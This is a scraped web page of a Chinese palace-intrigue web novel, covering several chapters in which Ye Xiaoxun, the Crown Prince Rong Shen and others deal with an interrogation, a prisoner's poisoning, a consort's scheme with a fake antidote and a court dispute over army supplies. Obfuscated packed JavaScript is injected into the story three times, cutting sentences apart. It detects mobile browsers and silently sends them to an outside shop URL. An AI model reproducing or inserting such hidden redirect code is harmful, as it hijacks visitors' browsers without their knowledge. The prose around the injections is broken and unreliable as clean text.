“这是我和你爹捡到你时,你手里死死攥着的。”叶片儿替她理了理鬓边的碎发,柔声道,“我们想着这没准和你的身世有关,便一直替你收着。” “给你起名小寻,也是盼着你有朝一日能寻回亲生父母,莫要再跟着我们做这没名没分的野丫头,叫旁人说你是被贼养大的。” 叶小寻听不得这个,眼眶一热,当即就要把手抽回来。 可叶片儿手劲大,握得紧紧的。 她挣脱不得,干脆一头扎进叶片儿怀里,带着哭腔道: “我都说了!你就是我娘亲,叶根儿就是我爹爹!我才不要寻什么亲生父母,没准我就是他们丢掉不要的!咱们见得还少吗?谁家孩子多了养不起就丢一个……” 叶片儿眼眶也湿了,伸出一根手指轻轻抵住她的唇:“嘘,不可胡说。” 那枚玉佩在她手心里,渐渐染上了体温,变得温热。 “叶姑娘,时辰不早了。”门外传来暗卫低声的催促。 幸亏来的路上她千叮咛万嘱咐,决不可喊她娘娘,否则这会儿怕是早已露了馅。 叶小寻吸了吸鼻子,有些不舍地松开手:“你们在这儿好好的啊。让叶根儿好好养伤,别舍不得吃药。我得空再来看你们!” 叶片儿站在门口,不忍送行,只眼睁睁看着那道瘦小的身影消失在夜色中。 这一夜马不停蹄,暗卫并未直接送她回宫,而是驾车往城郊又赶了几里路,最后停在了一处静谧清幽的别庄前。 叶小寻下了车,正疑惑间,忽见前方凉亭中走出一位白衣公子,竟是霍清珏。 霍清珏见她这一身夜行衣打扮,并未露出半分惊异之色,反而温润一笑,如沐春风。 “娘娘,别来无恙。”他朝她微微颔首,随即侧身让开道路,“在下尚有公务在身,便不奉陪了。殿下已在亭中久候。” 他遥遥一指那隐在暗处的凉亭。 叶小寻的心瞬间提到了嗓子眼。 没人告诉她容慎也在这儿啊! 她磨磨蹭蹭地往凉亭挪去,心里那个虚啊。 无他,收留枫娘这个决定可是她私自做的。 这会儿才后知后觉地想起来,这叫先斩后奏。 叶小寻晃晃悠悠地低头盯着自己的脚尖,一步只肯挪半寸。 眼见着那凉亭越来越近,那股属于上位者的压迫感也越来越强,她恨不得当场挖个坑把自己埋进去装鸵鸟。 正胡思乱想间,耳根突然传来一阵温热的触感,紧接着是一股酥麻的电流窜过全身。 那个熟悉的声音就在她耳畔低低响起: “以前倒是不知你耳根子这么软。” “啊啊啊——!” 叶小寻像是被踩了尾巴的猫,捂住耳朵疯狂后退,惊恐地瞪大眼睛,死死盯着容慎那只还没来得及收回去的手。 14. 第 14 章 惊呼过后,四下一片死寂。 叶小寻只觉脸颊似被火舌燎过一般,滚烫灼人,一时竟不知该如何反应。 “那个……你,你……” 她期期艾艾地回望容慎,却见他目光沉静,波澜不惊。 “你”了半晌,终于吐出一句:“你……你怎么不打声招呼就对我动手动脚的?” 容慎似是有些诧异,垂眸看了看自己的手,随即漫不经心地收回袖中。 “孤方才,应当未曾触碰什么失礼之处?” 叶小寻跟他有些说不通,张口便有些结巴: “我们这……这叫男女大防!宫里的教引嬷嬷难道没教过你吗?” 容慎闻言,眸底掠过一丝异样,竟微微颔首: “是孤的不是,给你赔罪。往后你不喜之事但说无妨,只要你觉得不适,孤便不做。” 叶小寻一愣,随即干笑两声掩饰尴尬:“好啊好啊,不愧是太子爷,这气度就是不凡。” 被这么一打岔,差点忘了正事。 容慎正了正神色:“刘大福那个外室,是你让人带走的?” “嗯。”叶小寻如做错了事一般,有些不敢看他。 容慎神色淡了几分:“你可知,她不该这般自由。” “啊……对,但是……”叶小寻抓耳挠腮想找个说辞,赶紧扯了扯他腰间别着的令牌,“不会的,她什么都不知道。我也没跟叶片儿细说,你定是派了重兵守着我爹娘的院子,这下不正好,连她也可以一并盯着了!” 见容慎的神色并未缓和,她又往他跟前凑了半步,小声央道: “她手上全是烫伤,那个刘大福,把她赎回来还让人以为是独宠,谁知竟是当作禁脔,整日苛待。你都没见着,今日当着我的面,那老匹夫说打就打,下手那叫一个狠。” 一想到枫娘那副安分守己却还要挨打的模样,她就气不打一处来。 容慎负手而立,视线落在虚空处,不再看她,却也没打断她的辩白。 待她说完,他才幽幽问了一句: “叶小寻,凭你这样的性子,你觉得自己在东宫能活多久?” 这是叶小寻第一次听容慎对她直呼大名,她瑟缩着,扣住令牌的手也松开了。 “我……” 容慎突然转身,逼近一步。属于男子的压迫感瞬间笼罩下来。 “你若身处险境,又有几成把握不把孤拉下水?” 叶小寻哑口无言,缩了缩脖子。 容慎深深看了她一眼,周身的凌厉散去,语气恢复了惯常的清冷: “刘大福还在审着,你若想去看看也行。若不愿,孤让涤墨送你回东宫。” 叶小寻瞬间精神了,眼睛瞪得溜圆: “难怪你在这儿呢,原来是把刘大福捉来这儿了!我要去!我要去!他打我爹!我还没找他算账呢!” 这处别庄看似平平无奇,下到地下才知晓何为别有洞天。 只是…… “什么毛病,这地底下居然修得比院子里还宽敞。” 宽敞到阴风过堂,吹得叶小寻瑟缩了一下,赶紧裹紧了身上单薄的夜行衣。 “累了?” 身侧传来容慎低沉的嗓音。 叶小寻摇摇头,却掩不住满脸疲态,哀怨地瞥了他一眼: “都怪你那劳什子铁罗汉,真睡不着,现在脑仁疼。” 容慎唇角微勾,眼底划过一丝像是恶作剧得逞后的愉悦。 “孤提醒过你。” 刑讯室深处,刘老爷被绑在木架上,已是奄奄一息。 霍清珏站在一边,白衣胜雪,若不是手里还有根鞭子,叶小寻几乎要以为他是来吟诗赏月的。 容慎扫了一眼,并未上前,只是神色淡漠地摇了摇头,对霍清珏简单吩咐: “招供之前别弄死了,查抄刘府那边的动作,也先缓一缓,动静小些。” 霍清珏凌厉的眼刀扫过刘大福,后者即使是在失去意识的当口,仍是一阵颤栗。 “哼。”霍清珏长鞭一甩,掷在刘大福那一滩肥肉的旁边。 “在下不能久留,余下的烦请殿下操劳了。”霍清珏朝二人一抱拳,扬长而去。 发现身旁的叶小寻半天没动静,容慎侧首看去,只见她正瞪大眼睛缩在一边,表情古怪。 “做什么?不是说要报仇?” “倒也……不必……”叶小寻也知道自己现在的表情肯定很扭曲,但她控制不住啊。 刘大福身上已经没一块好皮了,血肉模糊的。 照刚才暗卫的回禀,竟是一句也没招。 还有霍清珏那翩翩公子。 噫! 叶小寻只觉得浑身鸡皮疙瘩都起来了。 不过…… “真奇怪。”叶小寻喃喃自语。 “奇怪?” 叶小寻点点头,眉头紧锁:“你想啊,刘老爷这种无利不起早的奸商,居然被打成这样都不肯供出幕后主使,真的是因为利字吗?还有那个成嬷嬷,在镇国公府里伺候那么多年……” “嗯……怪,确实怪。”叶小寻也不是那么能言善辩,总结起来也就只有这个字能形容了。 “镇国公府那个也是内鬼,事发之后,她那几个早已脱了奴籍的儿子,竟在一夜之间暗度陈仓,不知所踪。” 叶小寻一时语塞,有些想不通其中的关节。 容慎见她困惑,轻声提点道: “幕后之人,十分懂得投其所好。但对刘大福这等人,光给好处,他未必看得上,也未必肯卖命。此人,定是恩威并施,拿捏住了他不得不从的软肋,才让刘大福能如此守口如瓶。” 叶小寻右拳猛地敲在左掌掌心:“我明白了!偷兵符是谋逆大罪,这刘大福在幕后黑手那里的分量,和成嬷嬷肯定不是一个层级的!他若是招了,死的就不止他一个了!” 容慎轻笑一声,一句“孺子可教”权当做夸奖了。 叶小寻挑挑眉,努力压下嘴角的得意。 她摸着下巴,琢磨道:“既然这样,这刘大福确实不能轻易被打死了。要么给他上点儿金疮药吊着命?” 容慎默了几息,目光落在黑暗深处,颇有深意道:“不必浪费。” 他瞥了一眼已经失去意识的刘大福,语气凉薄得近乎残忍: “晕过去好啊,晕过去就不用受罪了。都退下吧,让他清静清静。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132722|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晕过去的确不受罪,但醒过来却是钻心的疼。 不知过了多久,刘老爷晕晕乎乎地醒过来,意识回笼的第一个感觉,便是浑身上下没一处不疼,仿佛骨头都被拆碎了重组一般。 他稍微动弹了下,惊讶地发现手脚的铁链不知何时已被摘了,人也被从刑架上移到了角落的干草垛旁。 四周无人看守,静得可怕。 他吭哧吭哧地将肥硕的身体撑起来,半靠在湿冷的石壁上,大口喘着粗气。 忽然,一条黑影无声无息地蔓延进地牢,宛如暗夜中的幽灵。 食盒放下,发出轻轻一声嗑哒声。 刘老爷惊弓之鸟般缩了一下,这才发现木质的牢门外站着一个人,黑衣蒙面,看不清面容。 刘老爷养尊处优惯了,今日算是把这辈子的罪全遭完了,早已饥肠辘辘。 他连滚带爬地扑到食盒边。 “好,好,好……” 颤抖着揭开食盒,里面竟是他素日里最爱吃的鲜嫩肥美的鱼虾,还冒着热气。 他顾不得许多,抓起食物便大快朵颐起来,嘴里塞得满满当当,还不忘端起那股子傲慢劲儿: “老夫就知道……你们不敢把老子怎么着!留着我有大用呢……嘿……嗬嗬……嗬……” 那得意的笑声还没收束,便猛地卡在了喉咙里。 他一把扯住衣襟,双眼暴突,已是出气多进气少。 他死死盯着牢门外那个毫无波澜的身影,满眼的不可置信。 那黑衣人声音冷硬,不带一丝温度: “主子说你还活着,他不放心。” 刘大福这才反应过来,来者是哪边的人! “别……我……还有用!我还有用啊!” 刘大福拼尽最后一丝力气扑到栏杆前,想要去抓那人的衣摆,却被对方隔着栅栏粗暴地一脚踹开。 “大人!大人救我!告诉丞……救……咳咳……嗬……” 喉头涌上一股腥甜,大股黑血从口鼻喷涌而出。 他在干草堆上抽搐了几下,终于不动了。 黑影站在原地,等到他彻底断气,才轻轻一跃,从来时那扇防范薄弱的高窗里原路返回,消失在夜色中。 天际已泛起鱼肚白。 别庄的高阁之上,两个人影并肩而立,看着那条黑影匆匆离去。 容慎神色淡漠,仿佛死的不过是一只蝼蚁。 “看清楚了?” “看清楚了。”涤墨躬身应道。 “你亲自去,别跟丢了。” 容慎的声音很轻。 “是,主子。” 涤墨身形一闪,也似一阵风般,飞快追了上去。 容慎回到房中时,叶小寻正坐在桌边单手托着腮,脑袋一点一点的,意识早已模糊了,像只磕睡的小鸡啄米。 容慎走到她身边,垂眸看了半晌,饶有兴致。 他抬起手,指尖微动,似乎想去推推她的肩膀,可在触及她衣料的前一瞬,动作却是一顿。 容慎无声地勾了勾唇角,手指蜷起,最终只是轻轻叩了叩她面前的桌面。 “咚、咚。” “醒醒,回去了。” 15. 第 15 章 叶小寻是被一阵说话声惊醒的,身子猛地一颤,险些从椅子上栽下去。 “回去?好啊……困死我了。” 她迷迷瞪瞪地伸了个懒腰,骨节发出咔吧一声脆响。 “什么时辰了?刘大福那老东西招了吗?” 叶小寻熬了个通宵,又折腾到了辰时,此刻若是眼前有张床,怕是电闪雷鸣都轰不醒她。 她憨憨地挠了挠腮帮子,下意识摸了摸嘴角,确认自己没在容慎面前流出口水来失了仪态。 容慎立在一旁,饶有兴致地看叶小寻潦草敷衍地整理衣裙,闻言神色未变,只淡淡道:“刘大福死了。” “嗯,死了……” 叶小寻脑子还在混沌中,顺嘴应了一句,随即猛地僵住。 她瞪大眼睛,瞌睡虫瞬间跑了个精光:“死了?!你这是什么态度?人死了你不急啊?线索可全断了!” 容慎语气轻描淡写,仿佛死的不过是只蝼蚁:“人死不能复生,急又有何用?” 叶小寻张了张嘴,觉得莫名其妙,却又哑口无言。 确实,刘大福已死,这已成既定事实。 可这下一步棋该怎么走?她抓破脑袋也琢磨不透容慎的心思。 偷偷看了一眼身边的容慎,这也太淡定了吧? 容慎看着她皱巴着一张小脸,苦大仇深的模样,眼底划过一丝极浅的笑意。 “别想了,凭你的脑子,想破了天也想不明白。是时候回去补觉了。” 刚被吓跑的瞌睡虫听到补觉二字,立马又杀了个回马枪。 叶小寻眼皮开始打架,如同坠了千斤重铁。 然而,两人才刚回东宫落脚,凳子都还没坐热,勤政殿的急召便到了。 “那……”叶小寻背着手,心不在焉地踢弄着地上花岗岩石板的纹理。 “孤去去就来,想必不会太久。” “好吧好吧。”叶小寻宽宏大量地放行了。 容慎前脚刚走,叶小寻一边嘀嘀咕咕埋怨这人是不是铁打的不用睡觉,一边慢慢腾腾地爬进被窝。 祝凝慌慌张张地闯了进来,脸色煞白。 叶小寻刚想问怎么了,便听外头小内侍尖细的通报声穿透了层层帷幔: “师贵妃驾到——” 什么?! 叶小寻心里咯噔一下。这来的真是时候,趁着容慎不在搞突袭? 她苦着脸,毫不犹豫地将脑袋缩进了被窝,只露出一双警惕的眼睛。 正殿之上,气氛凝重如冰。 师贵妃一身赤金凤尾裙,妆容艳丽逼人。 她睨着跪在地上瑟瑟发抖的众人,嗤笑一声: “怎么看上去东宫如此萧索,只有这么点儿人了。” 说罢,祝凝瑟瑟发抖着从殿外躬身进殿,“抖什么?本宫又不是吃人的老虎,也不是次次来都要罚你。” 这次师贵妃倒没急着往寝殿闯,而是施施然坐在正殿主位,慢条斯理地品着茶。 “听闻太子妃身体一直不见起色,本宫心里挂念,特地送了好东西过来,可解东宫燃眉之急。” 周嬷嬷立在一旁,努力压下心中的不安,顺从地低眉浅笑: “想必殿下得此喜讯,定会感激不尽。老奴在此先代殿下谢过贵妃娘娘。只是不知娘娘所赐何物……” 师贵妃懒洋洋地靠在椅背上,护甲轻轻刮着茶盏边缘,发出令人牙酸的声响。 “不急。听说圣上最近将西域进贡的名品马奶葡萄赐给了东宫,本宫那儿倒是还未分到,特来尝尝鲜。” 现下只能以静制动。 周嬷嬷福了福身,给身边的小宫女使了个眼色:“按贵妃娘娘的吩咐办,去取葡萄来。” …… 另一边,勤政殿前。 容慎一只脚刚踏上白玉阶,一名暗卫便悄无声息地落在他身后半步之处,低语道: “殿下,师贵妃去了东宫。” 容慎脚步微顿,眸光骤冷。 “时间算得倒准。回去盯紧点,若有变故,保人。” “是。” 勤政殿内,地龙烧得极暖,却掩不住那一股浓重的药味。 圣上近年体弱多病,全凭太医院那帮老家伙用名贵药材吊着一口气。 “来了?” 大晟朝的皇帝虚躺在蟠龙纹交织的软榻上,面色灰败,手边的药汤早已没了热气。 容慎垂眸,恭敬道:“父皇,龙体要紧。不若先让宫人将药汤温了,用完再说。” “你上前来些。” 容慎依言进了几步。 突然,一道劲风袭来。 “啪”的一声,一本奏折正中他右颊,砸红了一片。只是投掷之人显然气力不济,并未见血。 “朕素来以你为傲。” 老皇帝喘着粗气,声音嘶哑却带着帝王余威,“你比朕有才华,有胆略,有手段。朕以为你一向行事不留首尾,如今是为了什么,居然变得如此优柔寡断?狠不下心杀人?” 容慎低头捡起地上的折子,展开扫了一眼,无言地合上。 他将折子放到一旁,朝圣上恭敬一叩首,语气平淡: “儿臣并非狠不下心。” 圣上虚弱地睁开刚刚阖上的眸子,那双浑浊的眼中闪过一丝精光,审视着他最骄傲的儿子。 “哦?” “但父皇的方式,的确比儿臣更加果决,连丹青引都考虑到了,儿臣谢过父皇。”他抬起头,“这次儿臣定不会让父皇失望。” 圣上定定地看了他半晌,忽地笑了,胸腔震动引起一阵剧烈的咳嗽。 “不错……不错。” 他缓了口气,目光突然变得幽深莫测: “既然你有此决断,朕便也不插手了。” 容慎再次叩首:“儿臣领旨。” “张青,去把药汤温了。”圣上挥了挥手,疲惫地闭上眼,“至于你,东宫想必忙得很,去吧。务必替朕……守住这大晟的江山。” 容慎退出勤政殿,此时殿外寒风凛冽,吹散了他眼底的一抹温度。 “回东宫!快!” …… 东宫正殿。 师贵妃不紧不慢地吐出最后一颗葡萄皮,拿着帕子优雅地擦了擦手,这才给贴身宫女递了个眼色。 那宫女捧着一个精致的锦盒上前,展示给众人。 “太子妃久病缠身,本宫心中难安,便私下寻访了江湖名医。” 师贵妃笑意盈盈,眼中却尽是算计,“这才得知,太子妃的病症 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132723|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽与伤寒相似,实则不然。太医正兴许是火候不够,竟没查出来,这分明是中了奇毒丹青引的症状。” 她指了指那锦盒中的一枚黑色药丸: “这不,那神医替本宫寻来了丹青引的唯一解药。本宫刚到手,便马不停蹄来东宫献宝,望太子妃早日康复。” 在场东宫众人,无一不面色惨白。 什么丹青引?什么唯一解药? 只有知情人才知道,这纯属胡扯! 师贵妃见众人不动,唇角扬起一抹冷笑,一言不发。 她的贴身宫女捧着托盘,扬声喝道:“都愣着干嘛?我家主子千辛万苦为太子妃娘娘寻求解药,不说以命为偿,三跪九叩总不过分吧?东宫的人都如此没有教养吗?” 祝凝跪在地上,手指死死扣着地面,指甲已经断裂见血,关节因用力过猛而惨白一片。 若是接了,娘娘吃是不吃? 周嬷嬷到底是宫里的老人,她深吸一口气,强作镇定道: “祝凝,还不快起来去给太子妃娘娘送药?这是贵妃娘娘的一片心意,可不能拂了娘娘的美意。” 祝凝哆哆嗦嗦地站起来,伸出的手都在颤抖,眼看就要触到来那个催命的托盘。 师贵妃轻飘飘的声音适时传来,带着一股猫捉老鼠的戏谑: “哦,本宫倒是忘了说了。此药名为千蛊明,乃是以毒攻毒之法。” 她顿了顿,目光如毒蛇般扫过紧闭的正殿大门: “此药霸道,若是未中丹青引的寻常人误服了,那可是剧毒,会当场七窍流血暴毙而亡。但若是中毒之人服用,则会在手腕处浮现一根紫线,十日之后放血排毒,自可相安无事。” 这一下,连周嬷嬷也淡定不了了,身子猛地一晃。 这是死局! 正殿内死一般的寂静,双方僵持不下,空气仿佛都要凝固。 就在师贵妃失去耐心的当口,那紧闭的正殿大门外,突然传来一个沙哑虚弱,却透着一股子决绝的声音: “臣妾……谢贵妃娘娘恩赐。” 周嬷嬷面色一片灰白,祝凝仿佛被吓傻了。 师贵妃转过身,只见大门缓缓开启,一名白衣女子雪色帷帽遮面,向她福身行礼。 “太子妃?你好大的胆子,见本宫竟敢遮面?你可知这是大不敬之罪?!”师贵妃厉声呵斥。 白色的身影摇摇欲坠,祝凝赶忙上前迎接,搀扶着叶小寻瑟瑟发抖的身体。 “望娘娘赎罪,只是……” 叶小寻颤抖着抬起手,轻轻揭开帷帽的一角,露出惨不忍睹的额角瘢痕。 “啊——!” 师贵妃看清之后,倒吸一口冷气,吓得花容失色,脚下连连倒退几步,用帕子死死捂住口鼻。 “你!你这是!!” 叶小寻继续用沙哑干涩的嗓音道:“江湖名医许是未曾望闻问切,故无法确定臣妾的具体病症。丹青引……乃是剧毒,一沾即死,断不会出现臣妾这般溃烂流脓的症状。臣妾的病症在太医院的病案上写得一清二楚,乃是伤寒加重过敏所致。” 她又冲着师贵妃上前几步,后者一脸嫌恶地避开,像是要躲开什么瘟疫。 “滚!”她气冲冲地特地绕开几步从叶小寻身边走过。 16. 第 16 章 明明没有撞到人,但叶小寻的身子却像是被那阵看不见的风浪狠狠拍了一下。 随着师贵妃那迤逦的赤金裙摆消失在门槛之外,叶小寻身形一晃,软软地向旁侧倒去,如同一片凋零的白梨花。 “娘娘!”祝凝还跪在原地,神情紧张地看着叶小寻。 东宫正殿内原本死一般的寂静被这一声惊呼打破。 直到师贵妃的仪仗声势浩大地远去,连那脚步声都听不见了,叶小寻才发出一声极轻的“哎呦”。 她一点点地从地上用手肘撑起身体。 祝凝忙不迭地从地上爬起来,膝盖跪得生疼也顾不上,几步并作一步冲过去扶她,声音里带着哭腔:“娘娘,您没事吧?可有磕着碰着哪儿?” 叶小寻借着祝凝的力道站稳,无所谓地摆摆手,拍了拍裙摆上并不存在的灰尘,声音虽然沙哑,却恢复了平日的活力:“没那么脆弱。” 她环视了一圈殿内冷汗涔涔的宫人们,长舒了一口气。 “好了,时候也不早了,大家都散了吧,各回各屋歇着,我也想回去睡个回笼觉了。” 她双手合十,冲着周嬷嬷做了个讨饶的手势:“嬷嬷,您也别念叨我了,今日大家都受惊了,稍微松快松快。” 众人如蒙大赦。 周嬷嬷虽然眉头紧锁,但也知道今日若非太子妃机智,东宫怕是难逃一劫,便只嘱咐了祝凝几句,去张罗其他宫殿的善后事宜了。 叶小寻是真困。 那一股子精气神儿随着师贵妃的离去而被瞬间抽干。 她现在软趴趴地瘫在祝凝身上,大半个身子的重量都压了过去。 “娘娘慢点儿,前面就是寝殿了。”祝凝小心翼翼地搀扶着她。 好不容易挪到了寝殿门口,祝凝正要伸手推门,门却从里面无声地开了。 一个影影绰绰的人影在眼前晃荡,叶小寻有些费力地抬起眼皮,是容慎端坐在外殿的罗汉榻上。 容慎换了一身常服,月白色的锦袍上绣着银色的暗纹,在透过窗棂洒进来的晨光下流转着微光。 他手里捧着一卷书,听见动静,缓缓抬眸。 我的乖奶…… 叶小寻呼吸一滞。 祝凝是个极有眼力见的,一见这架势,立刻便知趣地福了福身:“娘娘,今儿个东宫新进了些香料,据说夹了些西域进贡的果香,是个稀罕玩意儿,奴婢去领些来给您试试安神的效果。” 说罢,不等叶小寻挽留,便低着头退了出去,顺手还贴心地带上了门。 殿内只剩下两人。 静谧流淌,只有窗外偶尔传来的鸟鸣声。 叶小寻松开原本扶着门框的手,也不顾形象了,拖着步子走到他对面坐下,拿乔道: “我还以为殿下会从天而降,来一出英雄救美呢。没想到您倒是早就回来了,却躲在这屋里躲清静,也不出去替我出个头。” 她一边说着,一边去够桌上的茶盏。 容慎放下手中的书卷,视线随着她的动作移动。 他看着她毫无仪态地瘫坐在那儿,那张原本清秀的小脸显得有些滑稽,眼睛却亮得惊人。 “你一个人也处理得不错。” 容慎的声音低沉悦耳,像是上好的古琴被拨动了弦。 他微微倾身,修长的手指拎起茶壶,替她斟了一杯热茶,推到她手边。 这大概是这位太子爷嘴里能吐出来的最高评价了。 只稍这么一夸,叶小寻原本耷拉着的眼角瞬间扬了起来,身后的尾巴仿佛都要翘到了天上。 “你也这么觉得?” 叶小寻来了精神,那种困倦感都被抛到了九霄云外。 她一把将头上的帷帽扯下来扔在一旁,那张惨不忍睹的脸毫无遮掩地暴露在容慎面前。 “我也觉得我聪明绝顶!简直是天才!” 她凑近了些,指着自己额角,献宝似的给容慎展示她的杰作。 “当当——看这是什么?” 她将脸凑过去,两人之间的距离瞬间被拉近,近到容慎甚至能闻到她身上淡淡的皂角香气。 “想不到吧?看起来虽吓人,其实是胭脂画的!” 她指指点点,如数家珍:“这儿,这层红的是胭脂膏子打底;这儿,这片青紫色的阴影,是我用墨黛蹭在湿帕子上,轻轻晕染出来的……” 她越说越得意,眉飞色舞:“那个师贵妃被吓得脸都白了,哈哈哈,你没看见真可惜!” 容慎没有后退,也没有嫌弃她脸上那些乱七八糟的颜料。 他静静地看着她近在咫尺的脸,看着她因为兴奋而微微颤动的睫毛,看着她那双灵动狡黠的眼眸里倒映着自己的影子。 不知不觉间,他原本冷硬的面部线条柔和了下来,眼底竟泛起了一丝从未有过的笑意。 “我,叶小寻,易容奇才。” 叶小寻沾沾自喜地扬起下巴,等着他的再次夸奖。 却见容慎正盯着自己,嘴角噙着一抹笑。 那笑容虽然很浅,却如冰雪初融,春水破冰,好看得让人移不开眼。 叶小寻看呆了一瞬,心里莫名漏跳了一拍。 容慎轻咳一声,掩饰性地端起茶盏抿了一口,对着门外冷声道: “祝凝,不是说换新香吗?进来吧。” —— 未过十日,刘大福之死京城人尽皆知。 门下省左谏议大夫钱安连夜上书陈情,一石激起千层浪,其他文官也纷纷上书,言辞激烈地要求严查皇商刘大福被害一案,要求严惩真凶,此招歹毒,致使国家经济命脉受损,边关告急。 这一阵风,不仅吹遍了京城,更是顺着官道,一路吹到了北塞。 手握重兵,镇守边疆的镇国大将军霍宣,在接到消息的第一时间,便连夜策马,赶回了京城。 夜色如墨,东宫书房内灯火通明。 一只通体雪白的信鸽穿过夜色,扑棱着翅膀落在了窗棂上。 涤墨取下信鸽腿上的竹筒,快步走到容慎身边:“殿下,是霍公子的飞书。” 容慎接过竹筒,倒出里面卷得很细的纸条。 展开一看,上面只有寥寥数语,字迹狂草,透着一股子焦急: “家父启程归京。” 容慎看着手中的纸条,神色变得凝重起来。 “殿下,”涤墨低声问道,“要不要拦一下镇国公?” 容慎将纸条放在烛火上点燃,看着它化为灰烬,摇了摇头: “查。沈贼以军饷为盾,贼喊捉贼的可能性极大,你上次取来的账本……” 涤墨眼睛一亮:“多谢主子提点。” 不过一月,霍宣归京的消息连同皇帝于勤政殿召见百官的圣旨一同送达。 大殿之上,文武百官分列两旁,个个噤若寒蝉。 皇帝强撑着病体,坐在龙椅之上,面色虽然灰败,但那双眼睛依旧锐利,审视着下方的臣子。 钱安站在文官之首,一脸痛心疾首,手里捧着笏板,声音洪亮地哭诉: “陛下!如今刘大福暴毙,商路断绝,户部统计上来,下拨给北塞的军饷出现了巨大的缺口!边关将士苦寒,若是没有粮草,恐生变故啊!老臣恳请陛下,严查刘大福之死,追究相关人等之责,以安军心!” 他这一番话,说得声泪俱下,仿佛全是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132724|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了大晟江山社稷着想。 身后的一众党羽也纷纷附和:“请陛下严查!请陛下严查!” 容慎立在武官之前,神色淡漠,静静地听着。 钱安是沈道衍的门客,得除。 殿外突然传来一声浑厚如洪钟的通报: “镇国公霍宣,觐见——!” 这一声,如同一道惊雷,炸响在勤政殿上。 钱安的哭诉声戛然而止,不可置信地回头望去。 只见大殿门口,一道高大魁梧的身影逆光而来。 霍宣一身戎装未卸,满身风尘,铠甲随着他的走动发出沉闷的撞击声。 他虽然两鬓微霜,但虎步龙行,周身散发着一股在沙场上浸淫多年的血煞之气,逼得两旁的文官纷纷后退。 霍宣大步走到殿前,单膝跪地,行了个标准的军礼: “臣霍宣,参见陛下!” 皇帝抬手:“爱卿平身。你不是在北塞驻守吗?怎的突然回京了?” 霍宣站起身,目光如电,冷冷地扫过一旁的孑然独立的沈道衍,畏畏缩缩的钱安,最后落在皇帝身上,直言不讳: “臣听闻朝中有传言,说北塞军饷短缺,上个月的十万石粮草并未送到?更有甚者,说是因为刘大福之死导致军需断供?” 钱安心中一喜,连忙抢白道: “正是!霍将军,您来得正好!您快跟陛下说说,如今边关是不是已经揭不开锅了?这都是因为有人断了商路啊!” 容慎微微侧头,目光落在霍宣刚毅的侧脸上,袖中的手微微收紧。 霍宣冷哼一声,转头看向钱安,眼神像是在看一个白痴: “钱大人是从何处听来的消息?简直是一派胡言!” 钱安脸上的表情瞬间凝固:“什……什么?” 霍宣转向皇帝,朗声道: “启禀陛下,上个月的十万石粮草,早已于十日前平安送达北塞大营,分毫不差!将士们早已领到了粮饷,士气正旺!何来的短缺?又何来的断供?!” 此言一出,满堂哗然。 钱安的脸色瞬间变得惨白,额头上冷汗涔涔。 “这……这不可能!” “钱大人是在质疑本帅?”霍宣虎目一瞪,杀气腾腾,“本帅亲自清点的粮草,难道还能有假?倒是钱大人,身在京城,却能编造出军饷短缺的谎言来扰乱军心,意欲何为啊?” 钱安的眼神追着想往沈道衍那边看,又生生停住,腿一软,差点跪下。 皇帝坐在高位之上,将底下的神情尽收眼底。 他缓缓开口,声音听不出喜怒,却让钱安如坠冰窟: “钱爱卿,霍将军的话,你听清楚了吗?” “臣……臣……”钱安哆哆嗦嗦地跪下。 “此事朕自会查明。钱爱卿近日身子不适,便回府歇息几日吧。” 钱安瘫软在地,面如死灰。 退朝之后,百官散去。 皇帝留下了霍宣和容慎。 御书房内,皇帝安抚了霍宣几句,承诺定会查清谣言的源头。 正事谈完,气氛稍微缓和了些。 霍宣犹豫了片刻,突然拱手道: “陛下,臣还有一事相求。” 皇帝此时心情尚可:“爱卿请讲。” 霍宣眼中流露出一丝慈父的柔情与急切:“臣离京数载,小女嫁入东宫也有些时日了。臣虽知她已是天家儿媳,但这做父亲的,实在思女心切。听闻近日太子妃身体抱恙,臣心中更是焦急万分。不知陛下能否通融,允臣去东宫……探望小女一眼?” 话音刚落,御书房内的空气仿佛凝固了一瞬。 17. 第 17 章 更漏嘀嗒一声,在寂静的勤政殿内显得格外清晰。 老皇帝一脸病容,疲惫地揉了揉眉心,摆了摆手:“爱卿有心了,探望女儿这等家事,无需向朕特意禀报,去吧。” 霍宣谢恩正欲告退,容慎却未动。 他看了一眼隐没在角落阴影中的涤墨,后者如鬼魅般无声退下。 容慎收回目光,向皇帝躬身道: “父皇,关于北塞戍边军事,儿臣还有要事要奏。” 正准备离开的霍宣脚步一顿,猛地回过头来。 皇帝也有些意外,强撑起精神:“什么?但说无妨。” 容慎面色凝重,一字一顿道:“军饷,确实出了问题。” 